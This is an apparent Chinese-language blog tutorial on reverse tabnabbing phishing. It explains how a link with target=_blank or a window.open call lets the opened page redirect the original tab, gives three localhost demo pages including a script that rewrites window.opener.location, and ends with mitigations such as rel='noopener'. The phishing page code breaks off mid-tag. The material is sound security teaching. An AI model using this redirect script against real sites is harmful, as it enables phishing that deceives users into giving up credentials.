Reverse Tabnabbing钓鱼
希望你以后能过得好,别辜负我一生不打扰
文章目录
原理:
使用正常网站A的a标签设置为恶意网站B,恶意网站B中利用window.opener修改原先页面A页面,进而无征兆把访问正常网站A页面修改为钓鱼网站C页面。
两个可以利用点:
1、使用a标签,并且target=_blank,没有使用rel="noopener/noreferrer"属性
2、使用window.open
利用:
创建三个页面A\B\C
A
<html>
<title>正常网站</title>
<body>
<li><a href="/https://localhost/b.html" target="_blank" >a标签</a></li>
<button onclick="window.open('http://localhost/b.html')">window.open</button>
</body>
</html>
B
<html>
<title>恶意网站</title>
<body>
<script>
if (window.opener) {
window.opener.location = "http://localhost/c.html";
}else{alert("no vul");}
</script>
</body>
</html>
C
<html>
<head>
<title>钓鱼网站</title>
</head>
<body>
<li><a href="/https://localhost/b.html" target="_blan

Reverse Tabnabbing是一种钓鱼攻击手段,通过创建多个页面,当用户点击正常页面时,会被重定向到恶意网站,而原本的页面变成钓鱼页面。攻击者利用浏览器特性来实现这一过程。为防止此类攻击,可以采取措施如在a标签中添加rel="noopener",或者在打开新窗口时设置opener为null。

4553

被折叠的 条评论
为什么被折叠?



